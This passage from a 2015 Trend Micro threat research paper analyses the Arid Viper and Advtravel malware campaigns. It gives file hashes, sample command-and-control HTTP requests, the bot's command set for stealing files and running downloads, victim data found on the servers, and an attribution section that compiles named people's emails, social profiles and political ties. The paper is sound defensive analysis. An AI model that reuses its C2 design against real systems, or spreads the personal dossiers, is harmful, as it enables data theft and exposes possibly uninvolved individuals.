exe detected as TROJ_ STRPADT.A pswd2.exe 0472d67eadb9aaa0491398bd14f6229f Dropped .TXT file that contains URLs, usernames, and passwords pswd4.exe d8209defc3966076737401d0a22d27d3 Dropped .TXT file that contains URLs, usernames, and passwords start.exe 0ae436d95cc1eb6a9b57df984734973e Downloads pat2.exe svrg.exe c8d387bb135d9acef3dfcf56464078fb Modifies the auto-run registry Operation Arid Viper Research Paper 12  Page  2015 Trend Micro Incorporated File Name MD5 Hash Purpose usbf2.exe d57e0f5f0320f1b3fd8ae81a370170d0 Detected as TROJ_ STRPADT.A and downloads pat2.exe usbf4.exe e36680a19601f84af6d311e1fb847eef Detected as TROJ_ STRPADT.A and downloads pat2.exe vvb.exe 2a38ff709549b97b4e42b6fae81c6177 Modifies the auto-run registry vvb.sfx.exe f747d5f998e48279cad7e9ed46e86a6b Drops VVB.exe /pat/: This contains two files as shown in the table below.
File Name MD5 Hash Purpose pat2.exe 7171feeedd345a7d50091e76fc7e3ac4 SFX archive that installs micro.exe pat4.exe aa55cb19c3a61c0177e75198c70d6fa3 First sample is a normal file while the second is detected as TROJ_STRPADT.A dcd2314f1af5dd1fd3e317bdf32faabb /patlogs/: Every action that the CC server carries out is logged in a series of detailed log files here.
Each log file uses the format, Log_A[3 letters]X_[COMPUTERNAME_USERNAME]_m-dd-yyyy-hh-mm-ss.log.
Log snippet showing victim data stolen by an attacker logged in as admindhs Operation Arid Viper Research Paper 13  Page  2015 Trend Micro Incorporated /rpts/: This contained several empty subdirectories and two files as shown in the table below.
File Name MD5 Hash Purpose pat.exe 2e5da32b07c531a6508b77f624bbeb22 Same file as start.exe app11.exe 342f79337765760ad4e392eb67d5ed2c MSI installer for dotnet2 /tools/: This contains some .PHP files, two .EXE files, and a .TXT file as shown in the table below.
File Name MD5 Hash Purpose dotnet2.exe c64fd1f972822ed84378c7058fea0744 Legitimate .NET installer wininstl.exe 342f79337765760ad4e392eb67d5ed2c Same file as app11.exe LastIps.txt: This is a long list of IP addresses that correspond to people accessing the advtravel.info/tools/ip.php page.
Based on geolocation data, these people came from all over the world.
The actual last login by the attacker to the server can be geolocated to Gaza in Palestine.
The advtravel.info domain was moved to privacy-protected Whois in 2013.
From 2007 to 2012 though, it was registered to: Registrant Name:Adv Travels Registrant Organization:Adv Travels Registrant Street1:4401 Bayou Boulevard Registrant Street2: Registrant Street3: Registrant City:Pensacola Registrant State/Province:Florida Registrant Postal Code:32503 Registrant Country:US Registrant Phone:01804777777 Registrant Phone Ext.
:
Registrant FAX: Registrant FAX Ext.
:
Registrant Email:renold.daveadvtravel.info Malware An analysis of the stolen files and logs allowed us to come up with a brief description of the initial Advtravel malware.
In general, it only serves to respond to a CC server.
The attackers then manually downloaded other tools onto infected systems to extract victim credentials.
Operation Arid Viper Research Paper 14  Page  2015 Trend Micro Incorporated After the initial dropper or download chain, the malware starts its data-stealing routine.
It calls home to a CC server and report each folder found on the infected system.
The server then replies with a confirmation on whether or not the malware should send the folders contents.
The Advtravel and Operation Arid Viper malware had similar behaviors.
This may or may not be a coincidence, as their binaries significantly differed.
The Advtravel malware was coded in C so the dropper needs to go through additional steps to build and update a .NET-running environment where it can be executed.
This involves downloads and Microsoft software installations, which not only caused significant infection delays but also served as an additional point of failure to execute.
The following are some sample HTTP requests seen in Operation Advtravel: GET/sys/who.php?t2/8/2015205:30:5920AM HTTP/1.1: First-time login.
GET/sys/genid.php?t2/8/2015205:31:0020AM: Asks to generate a unique ID for a particular first-time client.
The ID returned in this example was 2aMUu7TcPbUBsHVLNogB.vic, which will be used by the bot client throughout.
POST/sys/upload.php?dirname//2aMUu7TcPbUBsHVLNogB.vicxold: Send directory name information.
GET/sys/data//2aMUu7TcPbUBsHVLNogB.vic/command.
cmd?t2/8/2015205:31:0220AM: Get a command from the server.
In one particular example, the initial malware was a self-extracting .CAB file that eventually downloaded the main malware and patver.tmp, which contains the value, A012X.
This value indicates the server folder where the stolen data should be uploaded to.
This is essentially a campaign identifier.
The malware then dropped a .JPG file showing the famous Dome of the Rock Church in Jerusalem.
It also exhibited the following behaviors: Installs itself to a default location such as C:\Users\[USER]\AppData\Roaming\ AdobeAPP or C:\Documents and Settings\[USER]\Application Data\explr Puts logs and support files in C:\Users\[USER]\AppData\Roaming\AdobeAPP\ temp (Note that the .EXE file varies and appears to be downloaded on demand.)
Uses many of the support files previously described in another section, which are found in the \temp folder Can send commands such as the following to bots: get_scrshot: Get a screenshot.
get_workdata: Returns an infected systems local time, OS, user domain Possible Advtravel malware infection chain Operation Arid Viper Research Paper 15  Page  2015 Trend Micro Incorporated name, username, and malware path.
explore_dir[FULL PATH TO DIR]: Gets a directory listing.
run_file[FILE TO RUN]: Executes a file.
get_file[FILE TO GET]: Retrieves a victims file.
get_procslist: Gets a process or task list.
kill_prcs[PID]: Kills a process.
get_driveslist: Lists all of an infected systems mounted drives.
FILE: Allows attackers to upload new files to a victims system.
download[URL]: Downloads a file from a URL onto an infected system.
del_path[FILE]: Deletes a file or folder.
Communicates with the advtravel.info/ apps/ directory to listen for commands and uploads stolen data to the / del directory.
The log lists down an infected systems current directory, runs a password stealer, retrieves stolen credentials, and takes screenshots.
Based on patlogs, at least four botnet administratorskhlodadhs, belaldhs, belal2dhs, and admindhslog in to the server and control the bots through the administration panela tool called DHDSM.
Victims The Advtravel server has more than 500 infected systems.
All of the stolen details found on it have been backed up for evidence.
Most of the data have been analyzed to get an idea as to who have been victimized by the campaign.
Some observations made include: The majority of victims appeared to be Arabs from Egypt.
All of the infected systems appeared to be personal laptops, judging by the presence of a battery indicator in screenshots.
This led us to believe that the campaign was not as sophisticated or as targeted as Operation Arid Viper.
Log of the activities an Advtravel malware variant performs on infected systems Operation Arid Viper Research Paper 16  Page  2015 Trend Micro Incorporated The attackers appear to be keenly interested in images stored on victims systems.
This could be a sign that they are looking for incriminating or compromising images for blackmail purposes.
As such, the attackers may be less-skilled hackers who are not after financial gain nor hacking for espionage purposes.
A lot of the screenshots unusually showed open Facebook profiles.
The victims either spent a lot of time on Facebook every day or the malware took screenshots every time a victim accessed the site.
This allowed the attackers to identify their victims.
More details on this will be revealed after further investigation.
fpupdate.info Server The fpupdate.info servers main directory contains a /mobile/ folder.
At the time of writing, the site no longer allowed public access to the servers files although we were able to back them up back in September 2014.
At present, all of the related .PHP files cannot access the servers back-end database, which could mean it is down or unmaintained.
An uploads folder had two subfolders that contained personal information stolen from victims mobile phones.
Each subfolder had another two subfolders/calllog and /sms.
We were, however, unable to obtain a copy of the Android malware the attackers may have used to create the logs.
VICTIMS The fpupdate.info server contained phone data stolen from two victims, namely: LGE_IMEI: The devices International Mobile Station Equipment Identity (IMEI) number revealed that it was an LG D821 Nexus 5 phone owned by someone from Israel.
Call logs containing several Israel-based phone numbers, some of which had corresponding contact names, were found on the server.
One particular contact called My Number belonged to someone from Palestine.
SAMSUNG_IMEI: This devices IMEI number revealed that it was a Samsung P5100 Galaxy Tab 2 10.1 owned by someone from Israel.
Logs indicating calls made to several Israel-based phone numbers were found, along with SMS logs.
Most of the text messages were tweets by shadipal2 and Alaqsavoice_Brk, users who relayed real-time news about Gaza.
The other text messages, meanwhile, revealed meetings in places in Tunisia such as Gafsa and Sakiet Eddaier.
fpupdate.info main directory Victim data stored on fpupdate.info Operation Arid Viper Research Paper 17  Page  2015 Trend Micro Incorporated LINKSIS.INFO SERVER In addition to the two previously mentioned servers, linksis.info has also been found to have a very similar open directory layout to advtravel.info.
It also used a lot of the same malware.
We have not completely explored this server though a quick look clearly revealed ties to advtravel.info, including: It is hosted on the same IP address188.40.106.84located in Hetzner, Germany.
Its DNS SOA record used the email address, mahmoud.hashem12gmail.
com.
It has an http://www.linksis.info/sys/del/belal/ folder, which is owned by one of the users of advtravel.infos CC control panels.
It contains the same log fileswebbrowser.txt and so onalthough these were encrypted.
ATTRIBUTION The individuals identified in this section have some apparent connection with Operation Arid Viper or Advtravel.
Trend Micro would, however, like to point out that they may or may not be involved with cybercrime.
We simply intend to lay out verified facts that link them to the campaigns infrastructure and malware.
Several other reasons such as having their email accounts stolen and used to register CC servers, deliberate impersonation, and the like could also account for their links to the campaigns.
Khalid Samra Some of the CC server domain names were registered by a supposed Khalid Samra from Palestine.
His social networking account email addresses were used to register several Operation Arid Viper CC servers based on Whois registration data.
An email address incorporating Samras namekhalid.samraa gmail.comwas used to register the pstcmedia.com CC server based on DNS SOA records.
Further OSINT investigation revealed ties to other similar email addresseskhalid.
Khalid Samras profile also mentions that he was based in Palestine.
Operation Arid Viper Research Paper 18  Page  2015 Trend Micro Incorporated samraagmail.com, khalid.samraahotmail.com, khalid.samraawwb.ps, and khalid.samraacoreions.com.
To get a better idea as to what sort of person Samra is and to determine if he may have a motive for taking part in the campaigns, we took a look at his other social networking accounts.
He apparently has two Facebook accountshttps://www.
facebook.com/khaled.a.samraa and https://www.facebook.com/khalid.k.abusamra.
The email address for the first account was used to register one of Operation Arid Vipers CC servers.
The publicly visible profile pictures also suggest that he owned all three accounts.
The accounts indicate that he lives in Gaza and that he has pro- Palestine and anti-Israeli political beliefs.
Samras two Facebook accounts with matching profiles and images Two Facebook pages Samra has ties to Operation Arid Viper Research Paper 19  Page  2015 Trend Micro Incorporated What appears to be Samras second Facebook account also indicates that he is from Gaza.
It also mentions where he worked, Coreions, like his LinkedIn profile.
Unlike the first account though, this has more ties to several members of his family.
Photographs posted on it also clearly show his presence in Gaza in 2012.
A further Facebook search for the email address, khalid.samraagmail.com, also pointed to a group page called GazaUnderFire2012 (https://www.facebook.com/ GazaUnderFire2014), which Samra apparently set up back in 2012.
This page then led to a newer group page called Gaza Under Attack 2014 (https://www.facebook.com/gazaunderattack2014).
Both of the pages provide updates on the ongoing Palestine-Israel conflict with a very strong pro-Palestine/-Hamas and anti-Israeli focus, just like the personal Samra Facebook accounts.
Apart from the Facebook accounts, Samra had other social networking accounts such as in Twitter (https://twitter.com/KhalidSamraa), Google (https://plus.google.com/113430785728528060894/ and https://plus.
google.com/117379342774799926526/), and MySpace (http://myspace.
com/225923317).
On 4 November 2011, Coreions Whois record again changed.
Although all of the major details remained the same, the email address was changed to khalid.samraagmail.com.
On 13 January 2012, its entire registration details changed to the following: khalid abu samra () Gaza- Al Rimal- Al Wihda Street, Opposite to Al-Amal institu Al-Nakheel commercial mall, 1st floor Gaza, ISRAEL 00972 IL Ahmed Jmal The email address, ahmed.jmal1989gmail.com, was used to register two of Operation Arid Vipers CC serversmixedwork.com and plmedgroup.com.
It also has ties to the Facebook account, https://www.
facebook.com/ahmed.jmal.00.
The Ahmed Jmal Facebook account indicates that he resides in Marrakesh, Morocco.
Mahmoud Hashem The email address, mahmoud.hashem12gmail.com, was used to register two Operation Arid Viper CC serversmediahitech.info and ahmedfaiez.infoand one of the Advtravel CC domainsfpupdate.
info.
Ahmedfaiez.com and fpupdate.info also has ties to the email address, moh.s009gmail.com.
This fact shows a relationship between Operation Arid Viper Research Paper 20  Page  2015 Trend Micro Incorporated the two campaigns even if they used unrelated binaries.
They did have some commonalities such as sharing a common network infrastructure.
Moh.s009gmail.com was also used to register six of the CC serversahmedfaiez.info, fpupdate.
info, ineltdriver.com, flushupdate.
com, flushupate.com, and advtravel.
inforelated to the two campaigns.
It was also found in DNS SOA records for linkedim.in, iwork-sys.
com, nauss-lab.com, nice-mobiles.
com, and abuhmaid.net.
The site, linkedim.in, was particularly registered using the following details: Registrant Name:Mahmoud Hashem Registrant Organization:blogging hoster Registrant Street1:omar mokhtar Registrant City:gaza Registrant State/Province:gaza strip Registrant Postal Code:00972 Registrant Country:IL Registrant Phone:972546587385 Registrant Email:blogging.hostlive.com The registration details above ties the two email addressesmahmoud.hashem12 gmail.com and moh.s009gmail.comtogether.
We believe they belong to the same person though we have yet to find a real person behind the profiles.
Dev_hima As previously mentioned, several advtravel.info infection logs can be clearly linked to Operation Advtravels malware developers or bot masters.
It is also worth remembering that the malware used in Operations Advtravel and Operation Arid Viper distinctly differed from each other though they shared a common network infrastructure.
The logs showed that the infection started from the same folder Visual Studio drops a compiled file into and that screenshots showed other malware present on advtravel.info.
This shows that advtravel.info is a development environment and could very likely be where the malware are programmed.
The servers username is Dev_hima.
A close look at other log files allowed us to find at least three other systems with the same user.
Some of the samples gathered from the Trend Micro sample database listed down Dev_hima as an internal author as well.
Ahmed Jmals email address was used to register two of Operation Arid Vipers CC servers.
Operation Arid Viper Research Paper 21  Page  2015 Trend Micro Incorporated The bot logs from Dev_hima look like logs from test environments with different virtual machines that belonged to the original developer who performed some debugging and testing.
This mistake went even further, as while testing the malware, it took several screenshots of Dev_himas system, which gave us some insight into his operations.
The CPanel display in a Windows 8 environment showed how he went through victim logs.
Other tabs open in the same browser display his Facebook profile page.
The control panel is a Windows tool called DHSDM.
Its icon can also be seen as the rightmost program on the taskbar.
This can be found on several of Dev_himas test virtual machines.
It also showed that Dev_ hima corresponded to the Admin user of the control panel.
Other details recovered from logs revealed an IP address geolocated in Cairo, Egypt.
Another clue to Dev_himas relation to the Advtravel malware was a working downloader from December 2014 that is related to advtravel.
info.
It downloaded a malware from a server that is then run on infected systems.
The PE header data of this downloader again showed the name, Dev_hima as application publisher.
Nveron appears to be Dev_ himas filename for the malware.
A web search for developers with the nickname, Dev_hima, turned up one profile that fit what we know so far very well.
Dev_hima was not exactly hiding online.
He actually had various online accountshttp://devhima.blogspot.com/p/blog-page.html, http:// devhima.webs.com/about, youtube.com/user/ibrahhm2121/, facebook.com/devhima, twitter.com/dev_hima, linkedin.com/pub/ebrahim-elsharawy/69/324/7b5, scribd.com/ devhima, soundcloud.com/ebrahim-elsharawy, and devhima.tumblr.comthat tie his real identity to his nickname.
Screenshot of Dev_himas system stored on advtravel.info Information on a malware variant published by Dev_hima Operation Arid Viper Research Paper 22  Page  2015 Trend Micro Incorporated Dev_hima can also be tied to the Skype ID, ibrahhm2121, along with the email addresses, dev_ himayahoo.com, devhima hotmail.com, ibrahhm2121 gmail.com, ibrahhm212gmail.
com, and ibrahhm2121yahoo.
com.
Of course, it is conceivable that a malicious hacker sought to appropriate El Sharawys identity or coincidentally chose the same nickname.
A look at malicious activities tied to the nickname, Dev_hima, revealed very interesting things.
We found that Dev_hima was part of the Gaza Hacker Team, a group involved in multiple website hacking and defacement incidents against Israeli targets in the past.
A few of the more than 2,000 defacement attacks the team carried out involved sites in Israel.
Some of Dev_himas hacker group profiles can also be found on gaza- hacker.org/cc/member-u_42271.
html and arabteam2000-forum.com/ index.php/user/272853-dev-hima/.
His personal project pagehttp:// devhima.webs.com/showed several potentially malicious tools that he has coded.
DevPcTwitter, for instance, allows attackers to control a target system using a Twitter account.
DevSpy, meanwhile, allows parents to monitor their childrens online communication and browsing habits for protection purposes.
In reality though, DevSpy is simply a piece of spyware.
DevPcTwitter (MD5: bfcb492d282960152a366b5760b87920d02c6e83) is publicly available for download on Dev_himas site.
The structure of the last four DevPcTwitter commandsgetfile[file_path]is interesting.
The commands had a similar though not identical syntax to the format Dev_himas bot used to communicate with advtravel.info.
Dev_hima shared tutorial videos on YouTube on how to configure and use DevPcTwitter.
These videos were linked to his personal page.
His Twitter bots function is simple.
It lets a user register a Twitter account and an email address in the Some of Dev_himas social networking profiles Dev_hima also has ties to several email addresses and online accounts Operation Arid Viper Research Paper 23  Page  2015 Trend Micro Incorporated DevPcTwitter program.
The user can then start tweeting commands via the account registered, which the bot reads and executes.
Commands such as GetScreenShot tells DevPcTwitter to take screenshots of a victims desktop that it then emails to the email address registered.
The bot can also download and execute files using the Download[URL] command.
DevPcTwitter is low-risk because it requires a lot of user interaction to set up and operate.
Its bot does not have the functionality to stealthily run in the background as well.
Dev_hima also developed the spying tool, DevSpy.
Its installer (MD5: List of website attacks that Dev_himas hacker group was involved with DevPcTwitters UI shows it was designed for Arabic-speaking users.
Operation Arid Viper Research Paper 24  Page  2015 Trend Micro Incorporated d325c541fa0f3080a25394fe3a586100910f5569) is also available for public download from http:// devhima.webs.com/.
Unlike DevPcTwitter, the DevSpy interface uses English, not Arabic.
Its setup is also pretty self-explanatory.
It takes desktop screenshots at user-specified intervals that it then stores in a folder.
It can stealthily run in the background.
In stealth mode though, it can be only be accessed by pressing a hotkey that requires password authentication.
In the same mode, DevSpy can remove itself from a victims Windows Task Manager process list.
DevSpy is medium- to high-risk because it is designed to spy on users in stealth mode.
It is possible or even likely that the malware used to communicate with advtravel.info is a privately enhanced version of Dev_himas tools.
VIRUS_HIMA Dev_hima used the handles, hima, virusxhima and ViRuS_HiMa, with the email address, virusxhimagmail.com, though there was not enough evidence to confirm that Dev_hima and ViRuS_HiMa are the same person.
ViRuS_HiMa had ties to several high-profile hacking attacks, including: The theft of 150,000 passwords from Adobe employees, customers, and partners such as the U.S. Military, USAF, Google, NASA, and DHL [5] Tools available for public download on Dev_himas website DevPcTwitter supports an extensive array of executable commands.
Operation Arid Viper Research Paper 25  Page  2015 Trend Micro Incorporated The cross-site scripting (XSS) attack on 2shared.
com [6] More than 1,700 website defacement incidents The Yahoo SQL attack claimed to have been by perpetrators from Egypt [7] Some emails with ties to ViRuS_ HiMa include virusxhimagmail.
com, egypt_governmenthotmail.
com, a.ehotmail.com, and ana.
msrehotmail.com.
Mohammed Khaled As previously mentioned, one advtravel.info fileMkhaled.txthad the link, https://www.facebook.com/messages/LODALODALODA.
When clicked, a Facebook message was sent to a Mohamed Khaled profile page (https://www.facebook.com/LODALODALODA) as notification of new successful system infections.
The profile indicates that Khaled lives in Cairo, Egypt.
Interestingly, a Mohamed Khaled can be further connected to Dev_ hima.
On a page promoting Dev_himas DevPcTwitter tool, we saw one comment from a Mohamed Khaled regarding the remote access tool (RAT).
Fathy Mostafa Fathy Mostafa is another individual with apparent connections to Operation Advtravel.
In one of the advtravel.info logs, we saw a screenshot of the main Advtravel malware under development.
The code showed testing URLs that used the same paths as the actual malware that accessed the advtravel.info domain.
The username, fathy, can clearly be seen.
Other logs from the same infection gave us some stolen account details, including: http://members.000webhost.com/login.php was registered using ismaelalaa32gmail.com and fathymostafa9gmail.com https://khamsat.com/register, https://www.freelancer.com/, and https://www.
linkedin.com/uas/login used fathymostafa9gmail.com Mostafass skills, according to work profile sites, include C programming, which was coincidentally used to program the Advtravel malware.
DevSpys UI and setup console .TXT file snippet from http:// www/hackerbox.net/upload.
txt showing a relationship between Dev_hima and ViRuS_HiMa Operation Arid Viper Research Paper 26  Page  2015 Trend Micro Incorporated The email address, fathymostafa9 gmail.com, was also associated with the Facebook account, https://www.
facebook.com/fathy.mostafa.1690.
The profile indicates that Mostafa lives in Egypt, like many others tied to Operation Advtravel.
He studied Electronic Engineering and is a member of several Facebook groups, including two that were related to the Muslim Brotherhood.
[
8] Other Individuals In addition to the previously mentioned individuals, other nicknames associated with Operation Advtravel have been found as well.
We saw three other account nameskhodla, belal, and belal2on the Advtravel control panel.
The systems that belal owned had particular ties to Operation Advtravel due to their use of the word Roo0T or Ro0t in usernames.
His systems all had the main malware control panel, along with games such as Counter Strike Global Offensive.
He also had folders containing the njrat7 malwarea popular RAT in Arabic countries, as it was Mohammed Khaleds Facebook profile and picture Khaled commenting on Dev_himas RAT Advtravel.info log showing the malware code while it was being developed Operation Arid Viper Research Paper 27  Page  2015 Trend Micro Incorporated locally developed and supported.
Belals folders also contained a .TXT file named Israil mails.txt, which had 2,572 email addresses, possibly for attack purposes.
Mostafas Facebook profile Belal logged in to the Advtravel control panel The South Korean Fake Banking App Scam Research Paper ii  2015 Trend Micro Incorporated CONCLUSION The malware campaignsOperation Arid Viper and Advtraveldiscussed in detail in this paper are separate but closely linked.
Operation Arid Viper targets specific Israeli organizations, including some high-profile victims, using a network infrastructure in Germany with several strong ties to Gaza in Palestine.
Advtravel, meanwhile, has more connections possible culprits and victims aliketo Egypt.
However, based on IP address logins, we again saw connections to the Gaza Strip.
While the two campaigns shared infrastructure, their tactics could not be further apart.
Operation Arid Viper is a sophisticated campaign targeting key individuals in organizations in order to exfiltrate sensitive data.
Its CC servers were, in fact, closely locked down, providing very little hint that could aid our investigation.
Advtravel, on the other hand, looks very much like the work of less-skilled cybercriminals who appeared to be motivated neither by financial gain nor conducting espionage.
Instead, they look like a classic group of beginner hackers just starting their careers.
Yet it remains intriguing to note the close ties between Operations Arid Viper and Advtravel, apart from signs of Arabic heritage.
We cannot know for sure if the people behind the campaigns operate as separate groups or as individuals though we suspect they are part of a larger organization.
Several organizations with ties to both Gaza and Egypt, for instance, the Muslim Brotherhooda transnational Islamist organization founded in Egypt in 1928, exist.
The brotherhood was legalized in Egypt in 2011 and won the parliamentary elections before the army overthrew it in 2013.
In 1987, brotherhood-affiliated charities established the Islamic Resistance Movement, better known as Hamas, an infamous Palestinian organization that has been controlling the Gaza Strip since around 2007.
Whoever the real culprits are, it is clear that they are part of the Arab world, evidence of a budding generation of Arab hackers and malware creators intent on taking down their chosen adversaries.
Some of the black hatsbe they mercenaries or cybersoldiersare actively targeting countries such as Israel due to political motivations.
We have seen all of the ingredients of a cyberskirmish guerrilla war that goes unnoticed by mainstream IT security media.
Beyond these specific campaigns, what we found most interesting was that we had disparate groups of Arab aggressors who used the same infrastructure to launch and monitor attacks.
This can possibly mean two thingsthe attacks were somehow linked, something that appears unlikely given their nature and motivation, or a supra-organization that provides means for Arab parties to commit acts of cyberviolence exists, which appears to be the more probable option.
If our theory holds, we will see a host of cyber attacks with detrimental results stem from Arab countries in the near future.
Internet users will be stuck in the middle of a battlefield they do not care much for.
We can only offer well-informed inferences on attribution for now.
Nevertheless, one thing is very clearwhether the malware involved was sophisticated and stealthy or basic and created by beginners, they both had devastating effects on their victims.
Trend Micro will always continue to uncover such threats in order to make the world safe for the exchange of digital information.
Operation Arid Viper Research Paper iii  Page  2015 Trend Micro Incorporated REFERENCES [1] The Week Ltd. (1 August 2014).
The Week.
Iron Dome: How Israels Missile Defence System Works.
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[
2] BBC.
(
20 December 2014).
BBC.
Israel Launches Gaza Air Strike on Hamas Target.
Last accessed on 12 February 2015, http://www.bbc.
com/news/world-middle-east-30558922.
[
3] Pierluigi Paganini.
(
16 December 2012).
The Hacker News.
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Operation Arid Viper Research Paper iv  Page  2015 Trend Micro Incorporated APPENDIX This section provides all of the SHA256 hashes found in relation to Operations Arid Viper and Advtravel and their corresponding Trend Micro detection names.
SHA-256 Hashes Trend Micro Detections advtravel.info 015fbc0b216d197136df8692b354bf2fc7bd6eb243e73283d861a4dbbb81a751 TROJ_STRPADT.A 17f2eb260f0b6942f80453b30f1a13235f27b7ed80d4e5815fb58ff7322fc765 TROJ_STRPADT.A 32e2b9cc92dfc1e77a85adb6a8b13c9b6264b7adb286260bd8bf6e47b6cde255 TROJ_STRPADT.A 4a581d9636a4f00a880b07f6dca1a82a866cf5713c74e722cfa9f71e08c33643 TROJ_STRPADT.A 69589b1691909fa091a901f7323515228594561bc18032f8ffde095993333ecc TROJ_STRPADT.A 6cc4869f1991df5879d0c4fc002f996a56bf11624d79ea2d34b52ceb98516425 TROJ_STRPADT.A 72be7e8903211e37bb3a4b04d7684d49ed8fb21ec3fdf6367e4eed2aa6fdc54c TROJ_STRPADT.A 856580576be62a0b14a01e9973b2fcb0c344e680b70a3b08b4ea293f84b47a59 TROJ_STRPADT.A 8c4867a434e0b279c3f7fc5baedb04753c41a79cc52da6e3148c110d82a588e8 TROJ_STRPADT.A ae38be6e54447ddf5a9f16748a749ab0c9c7524f7f4f9878e3b4940415970a19 TROJ_STRPADT.A ea94498aeeef4535ea1c876a0f7317d6049307c82f9396dc6b9e3542a6aa50a3 TROJ_STRPADT.A ahmedfaiez.info 2a375d2a9c41af31554bafb4a712097cc016d5227cb1f07652f0ef3483d5be30 TROJ_STRPSPI.A 55cee457c73aa87258a04562c9d04cd3c865608d5dd64366d9cd9bc2fe2f5dd9 TROJ_STRPSPI.A Operation Arid Viper Research Paper v  Page  2015 Trend Micro Incorporated SHA-256 Hashes Trend Micro Detections a4cebac7bf4e5faa537a6013e9ae19c683d7cdad9dd318fdd968a966dd3a3010 TROJ_STRPSPI.A cb3039dad0ebd63e40fbcdbb8a2a1cdf9f442b2870383f5d469765387d0c8ec0 TROJ_STRPSPI.A d4cb58f6167b72764a216d0ce6281d2251f02a696060eb425c9782283422a828 TROJ_STRPSPI.A flushupate.com 91d3a9c6de14197fe3be7c2b86b88b58b1f731d3e82bb0b7b11d5c75fbbed9a5 TROJ_STRPSPI.B b6ca1211159e9fd790790e49db5eb1b7a11c09f746d3135ae7a67ce8f518a403 TROJ_STRPSPI.B e18f051ac27ed29f792db49e4333adca9b1762d485a9214b5af12ffe858ca3fc TROJ_STRPSPI.B flushupdate.com 381bcf2b7fefcdade08bb6a02dc32ea535dbef9cb9a43220649916db8bcc39d8 TROJ_STRPSPI.C 502953496a40661bb6336a693371d3dd29ad96feb5e9f91a5b5ca0ad3ffbf29f TROJ_STRPSPI.C 52767ea5e20b8639433c087edf86ef91b0cb7fda46c71dcce625938a9f5d8a74 TROJ_STRPSPI.C 4436c7024366356cd04724e1d6867786f2587a6f6295fc74b3af0c02a257adba TROJ_STRPSPI.D 4619cec6310e16d30e05204b35c084aabafabdd3d3f87661774fec253a103d11 TROJ_STRPSPI.D 8eeab6635982618bebc137cf6c4795aa10010685d9c7bb6ce66932215195eed7 TROJ_STRPSPI.C 92cd7309723461918b9cd2988a26cd2199749e82636dc6628a46878db7e12db3 TROJ_STRPSPI.D 940a3ed18c4f171c9a6bccc0ab0ee8075aad6da8023e0b0e8883ca56bdddb4c7 TROJ_STRPSPI.C a348aabfd8aeec855933509c4c0b2aee78408ada89d8b51ce16b2247659b22f7 TROJ_STRPSPI.C ae35a7a1b084d09bb913b450944dc6f3205650298e58d19e3e2ee4db93a109ea TROJ_STRPSPI.C b5ba8fbc4f5c9bbf01c9a0a533ecab0735bf8e5e63116fffc570392e6faa9d18 TROJ_STRPSPI.C b7666d4a0afe5f5b5de8faa541be31bbe34ea51c3b3a3fab77937f816ac6181e TROJ_STRPSPI.C Operation Arid Viper Research Paper vi  Page  2015 Trend Micro Incorporated SHA-256 Hashes Trend Micro Detections bbacf000880a46c7955a27f5dd960a6e253cd357f14f97f8472dd4fc3032f44d TROJ_STRPSPI.C bda7ea39f9105c25250f14e9e1fa3de0f51b91b04349974c7cadbbbe1c06ce2f TROJ_STRPSPI.C ineltdriver.com d2ccf6fa361ceaf8cebada53bb1f9458b016ad85b74a7dc1bf4ba18774d92645 TROJ_STRPSPI.C e7b59b841e127c6fe6e02dd98292bba49bd32350b57595e09a6adab8da78235b TROJ_STRPSPI.C e810c74aefd63ce4ea674a1a961075a4d86a10b802d365b6b2b98a724d9b86db TROJ_STRPSPI.D f467c72fa8adde6ddf27150122c117a17d1d664876c2f9d87e68e06257eb1904 TROJ_STRPSPI.C linksis.info 58b48fd39ef718e5bd501f57e83b537668b13176ca682aee36402d18bd0c0733 TROJ_STRPADT.B 59d880ae82ccc3c8207b745b1b3e55119a5b62af086a1639270b1ba5b7e1893a TROJ_STRPADT.B 74d3093a51482a1eaa15e4fc8aa4b7d659d571db0570950272d7aa998aec6f49 TROJ_STRPADT.B 829b90bcf24fdf7f0298edec701c3c45b820f297dd012ac22e27e4bd295ee5f2 TROJ_STRPADT.B 9b6595980751537adf627e6107c08537de13e39752ed54c73e2b6af23e2a2769 TROJ_STRPADT.B d711dc3c75a60ca0cd2556c267e3c33cee5d677edcfe70fb88b334f08f81ece9 TROJ_STRPADT.B e850650e6982469529768988dfabadfdaa53b25abe1e0c0f0b3894b31a83b061 TROJ_STRPADT.B mediahitech.info db06c1914c82b52c9f2ee6ddffb13acde22d2227d626c41c35c163266b11d29c TROJ_STRPSPI.F mixedwork.com 177d9e42c4e2dfc3641cdc1f92815600c861501f5c880f5ab9cb642feb9b94bd TROJ_STRPSPI.F 390ef820779cd7461792f0aa4fc324cb06e1226e551a158cb87ca4db05358ef3 TROJ_STRPSPI.F Operation Arid Viper Research Paper vii  Page  2015 Trend Micro Incorporated SHA-256 Hashes Trend Micro Detections 3fbdfcf1eae14daa7b2fa6b7d3fa7cf602cd6ff178483c9019e3bb0aa2bb902c TROJ_STRPSPI.F 62b10dc88df96e2d3d9cf5521a8d8372d6228fc82587bdee7f0de3c1c1d5a8bd TROJ_STRPSPI.F 6e8287bb8909baa65e5c00b853b4f66844e5cf3d7a5f8b707997c02395b93505 TROJ_STRPSPI.F 8c66812d657027f537aa43f406182ba39e9baf3785f067ade003f96397b11ec0 TROJ_STRPSPI.F a1bf0e5277f6fc962be778f182971eb4911d9c97cf27526d9e5698d514cef3c0 TROJ_STRPSPI.F a6eac7a3607713fbeb3b50d227f3742ea23aa21c50eeff8987bbba10138527a9 TROJ_STRPSPI.F b33472608ce524c2750b70c496a696ad6653b8a6ea7b474445d94cd491d255cf TROJ_STRPSPI.F bcc1a294bc63c3fa873f364bab0a7aa368d85726346106422013c270d55fec3c TROJ_STRPSPI.F bd9ab35587fdb450242b7a9ee0298c04dbd2fb254065fa004cda1ad42ac5f338 TROJ_STRPSPI.E e29647c7719696bf9d4d5aa8c8f10152b5b63b6d25969db90d9634273c0353f8 TROJ_STRPSPI.F pstcmedia.com 05eb2ecfc731ce222ebe82f6b3428fc5aa4179f7be5f328c5447317950e2d0e7 TROJ_STRPSPI.G 0d22606d24911c2128651ba0421c7c5bf7cd3eedef871c460b02b42b2417c457 TROJ_STRPSPI.G 11768a3a63458963d1d31be5c94d716b8e4f75dc1593080c2988b22cb6facaa8 TROJ_STRPSPI.G 21b9b34d4a21ee538e7908727aca5d367f8d400db920187f51be2921a696421f TROJ_STRPSPI.G 2bd901a246f0b0b90ba891ee37c2ee4f7bd30d36d307b151998769fcc23fd1cb TROJ_STRPSPI.G 33fc87cc53eb867dc89e34fe7a46d33d90cab02f84299531d2e677a507ed308c TROJ_STRPSPI.G 